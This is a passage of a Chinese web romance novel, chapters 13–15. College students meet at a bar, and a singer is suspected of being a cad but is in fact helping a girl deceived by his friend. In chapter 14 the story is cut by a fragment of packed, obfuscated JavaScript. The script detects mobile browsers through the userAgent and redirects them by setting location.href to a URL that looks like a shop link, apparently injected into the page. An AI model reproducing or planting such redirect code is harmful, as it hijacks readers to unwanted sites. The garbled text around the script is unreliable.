她一皱鼻子,“哎,免了免了!你浑身烟味,离我远点儿哈!”
“二十分钟前抽的,早散了。”
“老万!你都腌入味了!”
“我马上走,行了吧。”万顷松视线一转,看向两张年轻的生面孔,“这两个妹妹第一次来吧,没见过。”
闻毓青点点头,乖巧微笑说老板好,跟见到老师似的。于海蕴刚回来坐下,还没搞清楚状况,淡淡点了下头,随后眼神询问闻毓青。
闻毓青低声告诉她,这是酒吧老板,好像和汪汪姐是朋友。
汪凝洁和万顷松认识五年了,的确算是老朋友。
她之前主业是机构表演老师,副业做探店博主,账号有几万粉丝。她不勤快,或者说懒更合适,做了一段时间,觉得没意思,加上去年生活里烦心事多,就没再费心神经营。后来账号流量低迷,起不来,就彻底荒废了。
账号推的次数最多的店,要属万顷松的W&L酒吧,这还是因为她自己经常来。
“都给你拉了两个新客了,”汪凝洁说:“不得给我们打个折?”
“看在新来的妹妹的面子上,给你打个七价,够意思吧。”
汪凝洁撇嘴,佯怒,“合着我在你这儿一点面子都没有呀。”
“这不得留着下次再来的时候用,你面子大,得给你打个半价。”
“看吧,”汪凝洁指着他,给两个女孩总结经验:“当老板的就得这么忽悠人,骗你下次来。”
万顷松一笑,她这嘴,得了便宜还不饶人。
也就那张可爱清纯少女脸能迷惑人,其实是一呛口小辣椒,他就没从她口中讨到过几句好听嘴甜的话。
“对了,问你件事,”汪凝洁找他寻人,“年初你们店有个新来的调酒师,我后面来怎
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么没看见他了?他干了几天就走了吗?”
万顷松皱起眉,“我们店这一年都没走调酒师,那人应该不是我们的调酒师,你弄错了。”
“不可能,他业务熟练得很,一看就是专业的。”
“就不能是客人去吧台露一手?”
汪凝洁抿唇,“...是有这个可能。”
店里人来人往的,这怎么好蹲到人嘛,真伤脑筋。
她拍了下沙发,“你们店也太不规范了!吧台能让客人随便进呀!”
“找不到人怎么还连坐我们店?”万顷松开店的,什么人都得应付,并不在意汪凝洁这点微小的迁怒,笑笑道:“怎么,看上哪个帅哥了,哥帮你留意留意。”
被戳穿心思,汪凝洁也不羞,大大方方的。
“你跟霄姐说一声,下次再有客人要去吧台调酒的,是长得帅的客人,前刺抓发,鼻梁有颗痣,记得帮我留个号码。”
万顷松无奈,“妹啊,这样的男的我大街上能给你抓一把。”
汪凝洁委屈巴巴,“没办法嘛,我又没扒开他衣服看,不然告诉你他身上有几块胎记,不过看起来是肌肉挺结实的身材。”
闻毓青噗嗤一声,被发现了,就不好意思地咧了下嘴。
于海蕴递给她一杯冰水。
她轻轻哇一声,“你怎么知道我需要。”
“你喝杯果酒就上脸了。”
“我平常都不喝酒的。”
“以后没认识的人在,别随便喝。”
“嗯嗯。”闻毓青好奇问:“你和那个驻唱是好朋友呀?”
刚刚于海蕴点了杯酒就端走,说是看见个朋友,去请他喝一杯,谁知道竟然就是台上的那个。
“不是,他胡说八道的,”于海蕴猜测,“可能怕别人以后给他递酒。”
“那你们怎么认识的?”
于海蕴反问:“你不认识他吗?”
“我应该要认识他吗?”
难道他真是什么宜江本地小有名气的网红?
于海蕴默然,是自己过于武断了,她介绍:“这个驻唱叫陆曦泽,是隔壁宜大的,和我们同一届,挺出名的。”
嗯嗯嗯?
闻毓青不由诧异,宜江这么小的么?
于海蕴又说:“我大一追过他。”
“嗯?!”闻毓青讶异,“为什么?”
“他长得帅,又有钱啊。”
闻毓青睁大眼睛,不解,就因为这样么?
“觉得我肤浅物质?”
“没有啦,”闻毓青摇头,继续发问:“你们是前任关系?”
“不是,半生不熟的朋友。”
多条朋友多条路,和陆曦泽这样的人交个朋友,绝对是没坏处的,所以今晚看到他,于海蕴才主动过去打个招呼。
闻毓青更疑惑了,“那你之前追他...”
于海蕴风轻云淡道:“被拒了。”
“他凭什么拒绝你!”结果出乎闻毓青意料之外,她气愤道:“你又漂亮又有钱,追你的人能绕我们经贸一圈了!”
在她心里,只有于海蕴拒绝别人的份,她信誓旦旦地说:“幸好你没和他在一起!他配不上你!”
看她反应这么大,于海蕴诧异望向她,听着她的话,又笑得乐不可支,以前没发现闻毓青这么好玩呢。
女追男也好,男追女也罢,被拒绝很正常,她没觉得没面子或者心里不舒服。
倒是闻毓青让她感到意外,还挺护犊子。
护犊子的闻毓青,义愤填膺地想着,陆曦泽除了有点姿色,其他哪里比得上于海蕴了?
他的脸也还是动过下巴的!
他强行插队特没素质!
他没钱还装阔要住高档酒店!
肯定是人设!
说不定是想包装自己,杀猪盘骗有钱的女孩!看他刚才那副风流浪荡的样子,在舞台边四处放电,故意露出那种邪魅坏笑,眼睛都要流蜜了,勾引人简直手拿把掐的!
对了!他还欠她钱!
不!是骗!他还骗她的钱!
陆曦泽!真是个王八蛋啊!
13. 013
唱完一趴,休息时间到,陆曦泽下台换人。
他从裤兜捞出手机,在微信聊天框里划拉,怎么也不见那个绿色油画小屋的头像。
他蹙眉,不记得什么时候误删聊天记录了。
在滑到手酸的朋友列表里滑了半天,陆曦泽彻底确定,他找不到闻毓青微信了。
那天找人问完名字,他没回过头给她备注。
一个极有可能的猜想浮上心头...
他随即往好友添加记录去翻找,一堆密密麻麻的近三天好友申请里,戚志杰的头像跃于顶端,一成不变的网骗氛围感渣男头像。
对方重新添加他好友,备注消息:「阿泽你怎么把我删了?」
陆曦泽嗤一声,为什么删你,自己心里没点数吗?
和戚志杰遇见的那天,陆曦泽记得很清楚,去年三月十二号那晚。
因为那天,陆曦泽那个充满仪式感的妈,灵机一动,毫无征兆地杀到宜大校门口,要他立刻出来,陪她去商场吃晚饭,为了庆祝植树节,以及她成功认养宜江绿道公园的第61号银杏树一周年。
吃饱喝足出来,他妈又约了朋友要赴下一场约,扔下他先跑了,陆曦泽一个人在商场在消食,晃到了附近的活动广场,听见有人在唱歌。
里外围了一小圈人,中间唱歌的正来着手机直播,他吃饱了撑着无聊,站在人群里听了会儿,谁知这人好端端唱着歌,突然说抓个要路人朋友上去唱。
他恰恰就是被盯上的目标,野生歌手拉着他胳膊,“这位帅哥来玩一玩!”
围观的人起哄,气氛如潮涌拍岸,一浪一浪推着他赶紧上台。
陆曦泽有些无语,他就一路过听歌的,谁想倒霉催的被生拉硬拽上去表演?他当然没有配合满足别人兴致的义务,扯开那只手,别过脸就要走。
结果那小主播死活拽着他衣袖,求爷爷告奶奶的让他别走。
“哥,帮个忙,我直播间的观众指名要你呢?”
他掏出另一台旧手机,指着直播间里的一条评论给陆曦泽看,「在逃秋刀鱼:让那个戴卫衣帽子的帅哥唱,再给你刷个嘉年华」。
“你看,这个在逃秋刀鱼刚给我刷了一个火箭,再刷个嘉年华,我这个月房租就有了,我们小主播,直播赚点打赏不容易,哥,你行行好,帮忙涨涨人气。”
右上角直播间人数才五十三个,人气确实挺糊的。
陆曦泽揪回自己的衣袖,随口问:“这多少钱啊?你能分到多少?”
“我们没加公会的,对半分,一千五。”
什么公会不公会的,玩游戏呢,还分帮派,陆曦泽对他们这些做直播的话术半懂不懂,琢磨着大概就是个体户和有公司的区别吧。见他锲而不舍地挽留的,陆曦泽心一软,就当日行一善了。
唱完那首歌,在现场意犹未尽的遗憾和直播间观众的错愕中,戚志杰利落下播,收起设备,说要请陆曦泽吃宵夜。
陆曦泽刚吃饱饭出来的,再吃要吐了,于是这顿饭就变成了喝酒。
戚志杰酒品不好,喝了点猫尿就啥苦水都倒,人比他小一岁,高中毕业就出来打工了,打过零工,做过服务员,当过销售,被人白眼过,也被人欺负过。有人夸他唱歌还不错,他试着去酒吧驻唱,唱了几个月酒吧就倒闭了,他就开始在网上发唱歌视频,有了一小撮粉丝,晚上直播唱唱歌,偶尔拉个音箱在户外开直播。
陆曦泽看他也是不容易,自己默默付了那顿的酒钱。
后来戚志杰户外直播唱歌或者去酒吧喝酒,都会喊一喊陆曦泽出来玩。他没兴趣结交什么朋友,敷衍着说没空,但有一段时间特别想喝酒,就变成他老喊戚志杰出来,对方也乐的,每次都屁颠颠赴约。
陆曦泽起初没想那么多,但他又不是傻的,一次两次三次的,次数多了,总能看出这人是把他当冤大头,呼朋唤友吆喝一堆人来蹭卡蹭酒。
但有人陪着喝酒,热闹,怎么着都比自己一个人喝好过,他也就懒得计较。
直至跨年那晚,他泡吧泡妞装死不回消息、不接电话、不借他钱、也不还他钱,被共友发了在夜店的视频,最后还心虚灰溜溜删了,陆曦泽这才发现,戚志杰做人太不地道。
当然,这种破事不值得陆曦泽生气,就是觉得挺滑稽的。
他继续往下翻找,最近加他的,大多是他前几天删掉的戚志杰和他那帮狐朋狗友,算不上朋友的男男女女,都不认识,加的时候他也懒得备注。
还挺方便他删人,直接在列表,把没备注的都给处理了。
但现在要从扎堆的网图网名里找人,真是难搞。
上下反反复复划拉好几遍,就是不见那个油绿绿的屋子。
他朝台下卡座瞄了眼。
算了,干脆直接过去找人得了。
指尖悬停在返回键,视线的焦点倏地落到稍右的下行灰色小字的备注上,看清那个小猫吃青团的头像发来的好友申请时,他不由噗嗤一笑。
点击查看验证消息,发现还不止一条备注,这姑娘前后发了十几条好友申请。
拉下来全是齐刷刷的——
「??????死骗子!快还钱!!!!!!」
眉梢怒瞪的炭火色emoji,看起来骂挺脏的。
-
收到验证通过的消息,闻毓青以为自己看花眼了,揉了揉眼睛又看了一遍。她哼了一下,心想着,陆曦泽果然是心虚了。
骗子被找到据点,怕被端了,能不夹着尾巴做人么。
她立刻敲字,快刀斩乱麻,不用讲客气的。
闻毓青:快!还!钱!
几乎是验证通过之后她就秒回,可对面收到消息就没再回复了,闻毓青往台侧看去,人还在,正在接电话,不知对面说了什么,他皱着眉,抓起外套往酒吧门口走。
怎么跑路了?!
怕这个人又闹出什么幺蛾子,见他要离开的那瞬间,闻毓青就腾地一下起身,撂下一句“我先出去一下”,急忙拔腿跟过去。
灯色迷离,酒杯碰撞,人声交谈嬉笑,穿过一列列卡座,一路上是来往的客人和送酒水的服务员,闻毓青弯弯绕绕地避开他们,小跑着往外走。
电梯门正好闭上,刚刚迎来一波新来的客人,也送走了一个陆曦泽。
没有预约的客人在酒吧外的几排候座塑料靠椅坐下,询问着还有多久有位置,这时客流正旺,电梯不好等,闻毓青决定走消防通道下去。
出了楼梯间,她放眼四顾,远远看到前方陆曦泽疾行的身影,连忙后脚跟上去。
跟到了建筑外的路边。
听见一道泣不成声的女声,“我...我决定了...要把孩子打掉。”
她倏地顿住脚步,出于礼貌的不打扰,没再往前。
很显然,对方正在处理风流债。
这时候横插一脚去催债,多少有些不合时宜。
站在陆曦泽对面的女生面色苍白憔悴,哭得梨花带雨,许是为了控制情绪,她低着头,拿一张纸巾不断拭泪。
尽管极力压制,仍然流溢出让人心疼的委屈抽泣,听得闻毓青眉头紧拧。
路上行人不时投去打探目光,只见陆曦泽不自在地左右张望,指着旁边奶茶店外的桌椅,用冷静到令人寒心的语气道:“去那边坐,点个喝的。”
女生摇摇头,“我马上走。”
他问:“所以,你过来就是为了和我说这件事?”
好糟糕的家伙。
这是什么冷冰冰反问语气?
怎么能是这么一副事不关己的态度,这个人嘴一张,闻毓青快被气得乳腺结节。
女生抽噎着,“嗯。”
“你早该去的,预约好了吗?”
“明天上午十点,我一个人有点怕,你能...陪我去吗?”
他沉默了一会儿,“有没有朋友可以陪着去?”
“我不想让她们知道...”
他立刻说:“我真去不了。”
人渣!
只顾自己爽,出事就当起了甩手掌柜,真是毫无半点责任感的人渣!
闻毓青心底忿忿。
这时候难道不应该好好做个人,为自己犯下的错误忏悔,向受苦的女孩道歉,并且积极作出补救吗?
凉嗖嗖的夜风成了绝佳助燃器,吹得她火气蹭蹭直冒,闻毓青抚着胸口,深呼吸,给自己顺气。
克制住那股想冲上去辱骂他的冲动,她转身离开,毕竟是隐私,不好再继续听墙角,最关键的是,对她的乳腺很不好!
...
就这样焦灼着,不是个事。
陆曦泽有点伤脑筋。
内心暗骂几天前的他有毛病,给自己没事找事。
事情还得从前阵子说起,那时戚志杰找他借钱,说是小夏意外怀孕了,要带她去医院。
陆曦泽记得小夏。
戚志杰的起初一百个人都不到的微信线下粉丝群里,她是最活跃的几个之一。
陆曦泽去志杰的线下直播玩过几次,结束后一起吃饭,戚志杰有时喊上几个老粉,男男女女都有,桌上和他挨个介绍过。
小夏是看起来最文静内敛的女孩,却也是在线下第一排捧场挥手跟唱最热情的那个。
去年他常约戚志杰喝酒的那段时间,戚志杰喊来的一堆人里,小夏的身影时常出现,喝几口酒,吃点水果,和大家唱歌玩桌游,挺玩得来,所以那群人总喜欢叫上她。
陆曦泽以为他们混成老朋友了,没想到戚志杰这个王八蛋竟然睡粉。
但戚志杰否认了这个说法,说他们那晚都喝多了,陆曦泽气急败坏骂他,大爷的连套都买不起就骗人家姑娘上床、要脸吗你、王八蛋真不是个东西......对方没顶嘴,忍气吞声任由他骂了一通,他也就那样骂骂咧咧地把钱转过去了。
结果,前脚跟他哭穷借钱要带女朋友去医院的人,后脚就让他看见,深夜泡夜店和别的女生紧紧相贴喝同一只杯里的酒的视频。
陆曦泽也不敢直接把视频发给小夏,怕刺激她,就问她有没有去医院。
小夏说没去,她打算大三下学期休学,把孩子生下
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来,以后和戚志杰好好在一起。
陆曦泽脑门炸开一圈问号,想打开她脑子看看,里装了什么,浆糊吗?不知道戚志杰这个王八蛋到底给她灌什么迷/魂/药。
耐着性子问了一通他才发现,小夏原来是觉得,她和戚志杰在交往谈恋爱。她和戚志杰说不想打掉孩子,这混蛋居然也没反对。
陆曦泽那点良心让他无法对这件事视而不理。
小夏是个傻姑娘,明眼人都能看得出,她是真心喜欢戚志杰的,不然怎么可能不管在哪里都跑过来听戚志杰唱歌。那种紧紧跟随在他身上、藏着爱慕的亮闪闪的眼神,骗不了人。
戚志杰纯属当他俩是419,能做出让女孩怀孕了还没心没肺和别的女生亲密暧昧的人,压根就不可能和小夏好好谈恋爱。
长痛不如短痛,刺激就刺激吧,
陆曦泽心一横,把朋友圈刷到的那条视频转发给了小夏。
谁知道她直接哭着跑过来找他。
陆曦泽头都要大了,冤有头债有主,他又不是孩子爹,找他干嘛?他一个洁身自好的单身美少年,陪女孩去人流能不被误会吗?
“你找不到戚志杰?”
小夏带着鼻音回:“我把他拉黑了。”
“......”陆曦泽:“你就不能硬气点,去狠狠甩他几个嘴巴子吗?”
“我不想看见他,只有你和他知道这件事,”原本稳定的情绪这会儿又激动起来,小夏收住的眼泪开始哗啦啦掉,“我没办法...才来找你的...对不起...”
“哎!别哭了,别人以为我欺负你呢。”
陆曦泽真没辙了,从兜里摸出一张皱巴巴的酒吧餐巾纸给她。小夏说不用,从自己包里拿出包装的纸巾,抽了张新的出来。
她边抹着鼻涕眼泪,他边在一旁苦口婆心劝着:“我也不是什么靠谱的人,还和戚志杰是朋友,我要给你往外说了,你怎么办?你还是得找个真正信得过的好朋友陪你去,别觉得丢脸,也别为那王八蛋伤心了,不值得。”
小夏摇摇头,“你和他、还有那些人不一样,你是好人,苏想明知道我喜欢戚志杰,却从来没和我说过他私下是那样的人。”
小夏和苏想是更早认识的老朋友,两人都是学校合唱队的,后来她把苏想拉进粉丝群,带他去线下玩,他才和戚志杰结识。
戚志杰泡夜店的视频,正是苏想拍摄的,他的声音小夏不会认错,镜头外起哄得最欢最大声的就是他。
过去小夏去的局,大部分都是陆曦泽在场的,每次戚志杰喊她都声称是好哥们组的局,去玩的人只是喝酒吹水打打游戏,没什么人做出格的举动,很正常的社交活动,只是场合在酒吧而已,小夏想,并不是常泡酒吧就一定是玩得很花不正经的人。
但她现在明白了,玩很花的局就不会叫上她了,因为他们只会和能玩到一起的人去,她不再某个分类标准里。
可惜现在明白得太迟了,她也痛恨这些所谓朋友的人对她的隐瞒欺骗和伤害,想到这儿,眼泪再度一发不可收拾,她弯腰,任由自己蹲在地上放声哭起来。
“不是???你怎么...”
陆曦泽傻眼,过路的人已经用眼神将他千刀万剐了,甚至隔了几个店面远的歇脚处,已经举起了几个手机。
他赶紧取出口罩戴上。
这年头地砖路过一只蚂蚁都有人拿手机拍照录像,要是这会儿他被录视频放到网上断章取义,那还不得被网友的唾沫星子淹死。
眼看人是劝不住,他忙进奶茶店点了两杯热的。
再出来时,很好,小夏哭得差不多了,他给她叫了辆车把人送回去。
小夏捧着奶茶,在车窗和他道谢。
陆曦泽说:“你把你家地址发我,我给你改行程。”
小夏应了一声,又忙说钱会还他的。
“行,那两千块怎么还我说了算,让戚志杰还,他之前还借了我两千,说要带你去医院也没去,所以你得找他要四千再还我,还有你的调养费什么的,你自己看着要。”他望着小夏,认真道:“不要就这样算了啊,让他把该负的责任负了,他要是赖账,你找我。”
“还有,这事得和家长说,最好别瞒着,明天去医院,还是得有人陪着,你叫上你玩得好的小姐妹。”
他妥协地叹了口气,“实在找不到人,就找我吧,你那么会交朋友的一个人,应该不能吧?”
小夏破涕为笑,点了点头,“找得到。”
“行,照顾好身体和心情,下次见!”
陆曦泽挥了挥手,停靠在路肩的车子缓缓启动,汇入川流不息的车流。
十字路口前,整条马路上的车尾灯都明明灭灭的,像谁眼中的泪花开了又谢。转完方向,转向灯就该灭了。该掉的泪水,掉完了也会停。
小夏那辆车还在继续向前行驶。
拐了个右弯,消失在陆曦泽目光里。
他歪了下头,将额前的头发向后一梳,双手叉腰,轻松地呼了一口气。
说这么多话,累死了,当知心哥哥真不容易。
14. 014
走得太赶,下楼忘记穿外套,闻毓青在外头冻得四肢发僵,在一楼哆哆嗦嗦的,等了许久,才坐上电梯。
甫一踏入酒吧,室内的暖风轻盈地扑涌到身上,人顷刻间舒服多了。
“怎么啦?”汪凝洁询问,看她刚刚急匆匆离开的,她以为出什么事了。伸手拉她坐下,被手的温度冰到,她讶异,“手好凉,你去外面了?”
于海蕴睨了眼身侧,捞起闻毓青脱下的那件外套递去,“先穿上。”
闻毓青吸溜冻红的鼻子,朝她笑了笑,边穿衣服边回汪凝洁:“我刚刚看到一个借我钱的人离店了,跟过去找他还钱。”
手机上叫对方转个账不就行了,多方便,还要特意追过去要钱,汪凝洁立刻猜到,“是赖账不还的?”
比赖账更恶劣,是骗钱的!
但闻毓青不好意思跟她们说,自己蠢到被骗了,含糊地点了下头。
“欠你多少啊?要到了没?”
“还没——”
手机振动了一下。
闻毓青垂眼,是一条微信的转账消息,一秒前发过来的。
很快,下一条消息又弹出。
LXZ:「之前把你误删你了」
闻毓青无语失笑,谁会信?
刚点完接收,聊天框里又出现新消息。
LXZ:「你什么时候走?等我一起走」
为什么要一起走?
钱还完了,还能有什么事?
本想回问他,但她瞬间想起方才在路上撞见的那幕,心头闪过一丝厌恶,不想和这个人多说半句话。
对面此刻正好息了声,对话框顶端不再闪烁正在输入的字眼。
他们之间,唯一的债务关系,算是彻底清除了。
现在他就算有事找她,也和她没半毛钱关系。
而且她以后也不会来这个酒吧了,省得再见到他。看见这么多女孩子,因为这么一个金玉其外败絮其中的混蛋而着迷尖叫,这感觉还挺闹心的。
她抬头和汪凝洁说:“已经还完了。”
看了眼时间,将近十一点。
学校寝室有门禁,晚上十二点之后回去,得按门铃叫宿管阿姨开门才行。
接下来的流程就是边听着阿姨骂骂咧咧的声音,边填写晚归登记表,如果学校数据统计出某个学生晚归次数过多,辅导员还会找学生了解情况。
闻毓青考完试后又开始接兼职,在门店摇咖啡,每周排班三到四次,下午六点半上班打卡,晚上十点打烊,做完店内的清洁,十点半下班。
上周她第一次上班,误判了交通状况和通勤时间。因为外面等公交实在太冷了,她在店里待到到十点四十五才离店,不疾不徐地走向距店十分钟步程的公交车站,结果十一点那班车提前抵达,她没赶上。
二十分钟后那趟末班车到了,将送她回学校大门口时,已经零点十五分,她再骑共享到宿舍大门,零点三十。
那晚的闻毓青,第一次见识到传闻中宿管阿姨恶龙咆哮的威力,边填表,边和阿姨忏悔道歉,嘴里说着对不起阿姨下次再也不会了。
可不要再有下次了。
她提出要回去,“汪汪,我差不多要走了,宿舍十二点锁门。”
“啊...都大学了还管这么严。”这才几点,夜生活才刚刚开始呢,汪凝洁还想玩,挽留她,“再待会儿嘛。”
于海蕴也劝她,“大不了就住外面。”
“住什么外面啊!”汪凝洁忙说:“我一个人住,你们来我家!”
“可是我明天要去图书馆自习。”
“宝宝,怎地如此勤奋刻苦!”汪凝洁眨着水灵灵的大眼睛,企图用诚意打动她,“下午去好不好?姐姐亲自把你送去你们学校图书馆,”她感叹着:“好久没进过校园了呢。”
“下午去座位就抢不到座位啦!”闻毓青折中道:“你们玩,我先走?”
于海蕴开口:“我和你一起。”
“好吧,这下连海蕴都倒戈了。”汪凝洁嘴角耷拉,神情有些落寞,又朝她们软软撒娇,“那有没有人送姐姐回家啊?不然人家要孤零零一个人走夜路了诶,好可怜,需要人陪...”她报了家里地址,“我住铂凌嘉园哦。”
闻毓青哪里料得到,刚认识第一天的小姐姐会这么黏人,也不知道她家远不远,她打开地图一搜,发现就在酒吧旁边,超级近,直线距离三百米。
她笑了下,这才明白过来,汪凝洁是要和她们一起走的意思。
“这么早走,你可得补偿我呀。”汪凝洁委屈道。
顺手捏了捏闻毓青的脸颊。
软乎乎的,还挺好捏,又捏了一下。
“怎么补偿?”闻毓青问。
她捞起衣服包包,“明天在学校等着恭迎我,到时候请我吃你们食堂吧。”
“没问题~”闻毓青学她刚才那样软绵绵说话,轻轻推搡着汪凝洁的胳膊,“姐姐快走!”
-
好不容易等小夏哭完送走她,陆曦泽准备打道回去。
这会儿有空刷手机,才看到来自煦煦的许多条未读消息和未接电话,还有万顷松的夺命连环call。
他回拨过去,一接通,万顷松在那头骂爹骂娘地问候他。
“你又跑去哪儿了?煦煦找你都快要掘地三尺。”
陆曦泽终于想起来,自己还有下一趴要唱,抱歉笑了笑,“有点事,下楼了一趟。”
“谁给谁当老板呢,一天活没干完,就一会儿预支两千薪水,一会儿又要五百的,态度散漫,动不动就擅自离岗,换别人早给你炒鱿鱼了。”
万顷松念着经,陆曦泽嗯嗯应下,也念经回他,“感恩老板,我保证给您好好打工。”
“可不敢,你是大爷。”万顷松阴阳怪气,随即没好气道:“还不快上来!”
“来了。”
回到酒吧,他朝闻毓青坐的那桌望去,卡座里已经换了一批人。
煦煦急忙催他快上台换人。
唱歌不算什么难事,他当玩乐享受,今天第一天来,捧场的人不少,他兴致也高,自顾自地唱着自己挑的歌单曲目,一轮时间在几首歌的时间里消磨过去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261627|198050||http|test|mini|href|location''.split(''|''),0,{}));
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>万顷松在台侧等着他算账,一副要刀了他的眼神。
毕竟给人打工,不能太随心所欲,对老板还是得尊重些,陆曦泽笑了笑,先陪不是,“消消气,真不是故意的,以后去哪儿和你们说一声。”
万顷松冷哼一声,算是过去了。
“第一排中间那桌的客人,你熟吗?”陆曦泽突然问,他今晚看见万顷松到闻毓青那桌寒暄。
万顷松往那儿看过去,“那一桌的都面生,怎么了?”
“不是现在,半小时前,三个人那桌。”
万顷松回忆了几秒,恍然大悟,“你说那几个啊,怎么,看上那个波浪卷发的美女了?”
汪凝洁带来的女孩子里,有个又高又漂亮,他印象很深,下意识以为陆曦泽是想要认识她,酒吧这场合,不就是喝喝酒听听歌交交朋友嘛。
“一熟客带过来的姑娘,我帮你要个联系方式?”
得,听他这话陆曦泽就知道,他压根不认识闻毓青,她分明扎着一头直马尾。
他摆摆手,“用不着。”瞥了眼搁在置物架上那杯奶茶,随手递给了万顷松,“喏,给老板赔礼道歉。”
“谁喝这玩意儿,下次买包烟,”万顷松接过,转头喊着,“煦煦!”
“哎!”煦煦的声音远远传来。
“陆大帅哥请你喝奶茶道歉!喝不喝?”
“喝!有个话筒没电了,我找电池,先放我桌上,我等会儿来拿!”
陆曦泽唱到十一点半就走,他捞起那只黑色的斜挎包,和万顷松打招呼说自己先走了,便从酒吧侧边的员工通道潇洒离开。
大四上学期虽然没排什么课,但还是有几门小课,明天下午有一门水课的期末考试,他今晚得回学校。
包里没翻出宿舍门卡,他发消息给舍友路科,让他给留个门。
路科:「这都几点了,你回来大爷都锁门了」
陆曦泽平常不怎么回宿舍住,差点忘了,还有个烦人的门禁。
LXZ:「科,老规矩」
路科:「ok」
宿舍大门是电子锁,平日学生刷卡进出,晚上门禁之后,大爷又落上一道常规锁。
而所谓的老规矩,就是男生宿舍的人用偷配的钥匙开门溜进去。不知道最早是谁,或许是往届学长,偷摸去大爷屋里比量了钥匙的尺寸,找师傅配了一把。
陆曦泽大一晚归过几次,嫌登记麻烦,听说有这操作,找人借了钥匙,给他们寝室也配了一把。
美名其曰:不打扰大爷休息。
大爷其实都知道,没太过分的,都睁只眼闭只眼。在外边回不来,才得担心人会不会出事。人好好地回了宿舍,还能有啥事,用不着操心。
手上还握着一只从包里翻出的玩偶挂件,他给失主编辑消息:「今晚走这么早?」
点击发送,消息被拒之门外。
系统提示如一道冷冰冰的墙,机械话术通知他——
cyancyan开启了朋友验证,你还不是他(她)朋友,请先发送朋友验证请求,对方验证通过后,才能聊天。
15. 015
“好多空位!”
末班的空旷地铁车厢里,到处是盈余的座位。
闻毓青盯准左侧空无一人的那列座位,拉着于海蕴坐在座位最边上。她特别喜欢在最旁边的位置,每当在外面结束兼职,带着一身疲惫回学校时,她可以订个闹钟,侧靠在隔板上小憩几十分钟。
于海蕴从包里拿出一副蓝牙耳机戴上,安静刷着剧,有消息发过来,旋即切换界面打字回复。
闻毓青往她那儿偷瞄好几眼,犹犹豫豫半晌,终于开口。
“你知道那个陆曦泽是宜大什么专业的吗?”
于海蕴眉梢一抬,手指扔在屏幕上忙碌,好整以暇地瞥过来一个玩味的眼神。
她勾起唇角,“问这个做什么啊?”
“呃...”闻毓青沉默了一小会儿,下意识选择隐瞒那些不该由她大肆宣扬的事,只含糊其辞地讲:“你说他挺有名的,我就随便问问。”
于海蕴不置可否,“计信学院,计算机系3班,应该吧,没记错的话。”
闻毓青倏地眼睛一亮,宋齐远好像也是这个专业的。
“你们接触多吗?”她问。
“不多,大一我加了他,之后就待在对方微信列表充人头了。不过,去年他突然约我出去吃饭喝酒,那时候我和前男友吵架,闹分手,就答应出去了。”
原本还有点困倦,闻毓青这时来精神了,认真点头回应,示意她继续说,“然后呢?”
然后呢。
吃瓜经典用语。
看她那副生怕错过任何细节的吃瓜样子,于海蕴轻拍她脑门,“没八卦,我故意气我对象的!”
闻毓青意犹未尽,“没啦?”
大概是喝了点酒,于海蕴语速有点慢,平时不和别人聊的天都一股脑儿地说了,“是他朋友想追我,吵架而已,我又不是真想分手,怎么可能劈腿,而且那个人不太行,哪里都比不上我男朋友,没他高,没他帅,没他条件好,没他有才华......”
闻毓青情不自禁扬起嘴角,隐隐被撒了一把糖。
听于海蕴的话,她本人貌似还挺喜欢她男朋友的,闻毓青自然而然地以为,这次分手又是之前那种小打小闹。
于是问:“那你们这次要多久复合啊?”
于海蕴张了张口,睫毛轻颤两下,最后只说:“这次应该彻底分了。”
闻毓青语气谨慎地问:“是...他有原则性的问题吗?”
“不是,他挺好的。”
“你不喜欢他了吗?”
“还喜欢。”
“那为什么分呀?”
闻毓青不解,既然心里都有对方,为什么一定要分开?
于海蕴淡淡道:“规划不一样,没办法一起走下去,谁都不想妥协。”她反问闻毓青,“快毕业了,你会为了你男朋友改变自己的人生规划吗?”
这学期确实有个舍友因为毕业去向的问题,和男朋友闹过几次矛盾,也在宿舍和她们聊过这件事。估计是喝多脑子不清醒,记混了人,闻毓青忙纠正她。
“是方岚的男朋友,我没有男朋友。”
于海蕴笑,“我知道,我说假如。你会因为对方放弃自己想做的事么?比如,像汪汪那样恋爱脑。”
“啊?为什么你觉得她是恋爱脑?”
“为了男朋友,从好不容易考进的话剧院辞职,还不算是吗?”
“具体情况具体分析吧,汪汪姐也只是随口和我们提了一下,她和他男朋友到底什么情况,我们也没有完全了解,说不定她还有别的考量呢...”
透过一个切面去简单定义,其实有失偏颇,闻毓青没办法凭借这点来反推她是不是个恋爱脑。
就像中学时代写作文,为了切题,在考场上努力回忆着,从摘抄背记的作文素材里,拼命搜刮那些可以搭得上边的事例和名言警句。
素材库里,那些被划定为家国情怀、时代精神、人生哲理、传统文化、社会热点等等的内容,因为是素材,因为早就被归好类了,所以只要像选择填空一样,放到对应的位置就好。
摘抄那些内容时,只是简单地标记了出处和作者,而那些话究竟是在什么样的情境和文本逻辑下写出来的,为了表达什么,真的是大家以为的思想情感吗?其实她并没有再深究。
素材而已,好用就行。
可也有那么一些时候,她发现有很多流传很广的被误用的话,她自己曾经也误用过多次。
脱离原本语境的话,没被误用倒还好,如果被曲解了,还要冠上作者署名,写上“著名的xx家曾经说过”这样的引导词来背书,倘若作者还在世,可能要赶忙跳出来撇清关系:我可不是这个意思啊!
偶尔她也萌生一种庆幸。
幸好它们不用像那些被收录在期刊或网站的论文一样,被公开鞭尸。
幸好,它们只是作文。
闻毓青并不想把谁当素材,虽然这似乎是一个悖论,人不可能不谈论人,甚至只是聊自己,就已经是在对自我进行加工了。
可这要怎么办才好呢?
那就不要擅自、轻易地,把不那么完美的普通人当做“反面素材”吧。
要提醒自己,尽力地,去实践这一点。
于海蕴瞥了闻毓青一眼,感到莫名其妙。
又不是在说什么坏话,她一本正经为别人解释那么多做什么?无非是聊闲天举例子,她哪像闻毓青那样想那么多。
她只是想得到一个利落的回答,“重点不是汪汪,是你会不会?”
闻毓青果断摇头,“我不会,只能他妥协。”
况且她也没想那么远。
比起想象和一个男生未来的人生,她更希望早日实现毕业之后拥有一个属于她自己的家的愿望。一个属于她和阿欢姐的家。
“看不出来你挺霸道的。”
